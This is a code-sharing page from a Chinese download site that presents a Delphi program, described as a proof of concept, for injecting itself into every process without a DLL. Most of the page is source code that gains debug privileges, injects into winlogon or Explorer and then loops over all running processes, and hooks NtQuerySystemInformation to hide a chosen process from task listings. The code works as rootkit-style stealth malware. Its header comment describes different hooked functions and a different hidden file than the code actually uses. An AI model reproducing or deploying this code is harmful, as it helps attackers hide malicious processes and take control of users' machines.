⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 exein2.dpr

📁 功能强大的代码 可以任意注入其他进程 学习交流之用!
💻 DPR
字号:
// ---> START OF CODE <---

{
  System Wide API Hooking Without A DLL
  www.iamaphex.cjb.net
  aphex@iamaphex.net

  This is a proof of concept theoretical demo. Using the power of
  InjectLibraryEx it is now possible to easily hook an API in all
  processes without the need for an extra DLL file. At the moment
  there are some drawbacks. The biggest of which is that packers
  like UPX and FSG will break the EXE. I am working on fixing
  this problem.

  True system wide API hooking is only possible on 9X based OS but
  a means of simulating a system wide API hook is possible using
  process wide hooking on every process possible.

  To hook every process we need inject into the currently running
  processes but we also must have a way to monitor new processes that
  are created. A simple method to do this is to hook CreateProcessA/W
  API so that we can inject our hook into all new processes but this
  is not a 100% reliable way to get every process. So to do this we must
  create a thread that constantly enumerates the process list and injects
  into each new process. The thread that does the injection is located in
  either winlogon on NT or explorer in 9X.

  The API that I have chosen to hook is FindFileFirst/Next API. By hooking
  these API I can hide certain files from being listed. The file that
  is hidden is specified with the HideFile const and the default hidden
  file is "notepad.exe".
}

program SystemWideExe;

uses
  Windows,
  SysUtils,
  afxCodeHook,
  tlhelp32;

const
  MapName = 'Global\FileMapping';
  MutexName = 'Global\MonitorThread';
  FilenameToHide: String = 'calc.exe';

type
 PProcessInfo = ^TProcessInfo;
 TProcessInfo=record
  dwOffset            : dword; // an ofset to the next Process structure
  dwThreadCount       : dword;
  dwUnkown1           : array[0..5] of dword;
  ftCreationTime      : TFileTime;
  dwUnkown2           : dword;
  dwUnkown3           : dword;
  dwUnkown4           : dword;
  dwUnkown5           : dword;
  dwUnkown6           : dword;
  pszProcessName      : PWideChar;
  dwBasePriority      : dword;
  dwProcessID         : dword;
  dwParentProcessID   : dword;
  dwHandleCount       : dword;
  dwUnkown7           : dword;
  dwUnkown8           : dword;
  dwVirtualBytesPeak  : dword;
  dwVirtualBytes      : dword;
  dwPageFaults        : dword;
  dwWorkingSetPeak    : dword;
  dwWorkingSet        : dword;
  dwUnkown9           : dword;
  dwPagedPool         : dword; // kbytes
  dwUnkown10          : dword;
  dwNonPagedPool      : dword; // kbytes
  dwPageFileBytesPeak : dword;
  dwPageFileBytes     : dword;
  dwPrivateBytes      : dword;
  dwUnkown11          : dword;
  dwUnkown12          : dword;
  dwUnkown13          : dword;
  dwUnkown14          : dword;
  ThreadInfo : PThreadInfo; // Thread list
 end;



var
  PID: dword;
  FileMap: pointer;
  var NtQuerySystemInformationNextHook: function(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;


{
  API Hooking Routines
}

function NtQuerySystemInformationCallbackProc(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
type
  PBA = ^TBA;
  TBA = array[0..1000000] of byte;
var
  tmpbuf: PBA;
  Pinfo,LastPinfo : PProcessInfo;
  cp: DWORD;
  curproc:string;
begin
Result := NtQuerySystemInformationNextHook(dt,buf,bufsize,retlen);
if dt<>5 then exit;
if result<>0 then exit;
cp := 0;
tmpbuf := buf;
Repeat
Pinfo := PProcessInfo(@tmpbuf[cp]);
curproc:=WideCharToString(pinfo^.pszProcessName);
if lowercase(curproc)=FileNameToHide then
  begin
  if pinfo^.dwOffset=0 then
    begin
    LastPinfo^.dwOffset:=0;
    exit;
    end
    else LastPinfo^.dwOffset:=LastPinfo^.dwOffset+pinfo.dwOffset;
  end
  else LastPinfo:=Pinfo; //I coded this part :P (Aphex: www.iamaphex.cjb.net)
cp := cp + Pinfo^.dwOffset;
Until Pinfo^.dwOffset = 0;
end;

function StrCmp(String1, String2: pchar): boolean;
begin
  Result := lstrcmpi(String1, String2) = 0;
end;


//this is where we install the hooks for each API we want
procedure EntryPoint;
begin
HookCode('ntdll', 'NtQuerySystemInformation', @NtQuerySystemInformationCallbackProc, @NtQuerySystemInformationNextHook);
//to unhook use this function: UnHookCode(@NtQuerySystemInformationCallbackProc, @NtQuerySystemInformationNextHook);
//u can make a separate procedure or even a separate .exe to uninstall the hook
//note that u don't need any .dll to inject here, u only run this .exe
end;

{
  System Wide Injection Routines
}

function ExtractFileName(FileName: string): string;
begin
  while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
  Result := FileName;
end;

//we need this to be able to access any process
procedure SetTokenPrivileges;
var
  hToken1, hToken2, hToken3: THandle;
  TokenPrivileges: TTokenPrivileges;
begin
  if IsNT then
  begin
    try
      OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken1);
      hToken2 := hToken1;
      LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPrivileges.Privileges[0].luid);
      TokenPrivileges.PrivilegeCount := 1;
      TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      hToken3 := 0;
      AdjustTokenPrivileges(hToken1, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
      TokenPrivileges.PrivilegeCount := 1;
      TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      hToken3 := 0;
      AdjustTokenPrivileges(hToken2, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
      CloseHandle(hToken1);
    except;
    end;
  end;
end;

//this is used to share our code in memory from one process to another
function MapMemory: boolean;
var
  FileMapping: THandle;
  Data: pointer;
  BytesRead, Module, Size: dword;
  Path: array [0..MAX_PATH] of char;
begin
  Result := False;
  FileMapping := OpenFileMapping(FILE_MAP_WRITE, False, MapName);
  if FileMapping = 0 then
  begin
    GetCurrentDirectory(MAX_PATH, Path);
    Module := CreateFile(pchar(ParamStr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    Size := GetFileSize(Module, nil);
    GetMem(Data, Size);
    ReadFile(Module, Data^, Size, BytesRead, nil);
    CloseHandle(Module);
    FileMapping := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, Size, MapName);
    if FileMapping = 0 then Exit;
    FileMap := MapViewOfFile(FileMapping, FILE_MAP_WRITE, 0, 0, 0);
    if FileMap = nil then
    begin
      CloseHandle(FileMapping);
      ExitProcess(0);
    end;
    CopyMemory(FileMap, Data, Size);
    FreeMem(Data);
    Result := True;
  end
  else
  begin
    FileMap := MapViewOfFile(FileMapping, FILE_MAP_WRITE, 0, 0, 0);
  end;
end;

//this is the procedure that constantly loops checking for new processes
procedure Inject;
var
  ProcessHandle: THandle;
  Process32: TProcessEntry32;
  ProcessSnapshot: THandle;
  LastPIDs, PIDs: string;

  function IntToStr(I: integer): string;
  begin
    Str(I, Result);
  end;

  function IsPID(PID: dword): boolean;
  begin
    Result := Pos(IntToStr(PID) + ':', LastPIDs) <> 0;
  end;

  procedure AddPID(PID: dword);
  begin
    PIDs := PIDs + IntToStr(PID) + ':';
  end;

begin
  SetTokenPrivileges;
  while True do
  begin
    LastPIDs := PIDs;
    PIDs := '';
    ProcessSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPALL, 0);
    Process32.dwSize := SizeOf(TProcessEntry32);
    Process32First(ProcessSnapshot, Process32);
    repeat
      ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Process32.th32ProcessID);
      if ProcessHandle <> 0 then
      begin
        if not IsPID(Process32.th32ProcessID) then
        begin
          if GetCurrentProcessId = Process32.th32ProcessID then
            InjectLibraryEx(GetCurrentProcess, FileMap)
          else
            InjectLibraryEx(ProcessHandle, FileMap);
        end;
        AddPID(Process32.th32ProcessID);
      end;
      CloseHandle(ProcessHandle);
    until not (Process32Next(ProcessSnapshot, Process32));
    CloseHandle(ProcessSnapshot);
    Sleep(50);
  end;
end;

//we use a mutex to determine if a thread has been created for monitoring yet
function MonitorThreadCreated: boolean;
var
  MutexHandle: dword;
begin
  MutexHandle := CreateMutex(nil, True, MutexName);
  if MutexHandle <> 0 then
  begin
    if GetLastError = ERROR_ALREADY_EXISTS then
    begin
      CloseHandle(MutexHandle);
      Result := True;
      Exit;
    end;
  end;
  Result := False;
end;

//depending on the OS version we want our monitor thread to inject into different processes
procedure CreateMonitorThread;
begin
  if IsNT then
  begin
    if StrCmp(pchar(ExtractFileName(ParamStr(0))), 'winlogon.exe') then Inject;
  end
  else
  begin
    if StrCmp(pchar(ExtractFileName(ParamStr(0))), 'iexplorer.exe') then Inject;
  end;
end;

begin
  if MapMemory then
  begin
    SetTokenPrivileges;
    if IsNT then
    begin
      GetWindowThreadProcessID(FindWindow('NDDEAgnt', nil), @PID)
    end
    else
    begin
      GetWindowThreadProcessID(FindWindow('IEFrame', nil), @PID);
    end;
    InjectLibraryEx(OpenProcess(PROCESS_ALL_ACCESS, False, PID), FileMap);
    Sleep(3000);
  end
  else
  begin
    if not MonitorThreadCreated then CreateMonitorThread;
    EntryPoint;
    ExitThread(0);
  end;
end.

// ---> END OF CODE <---

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -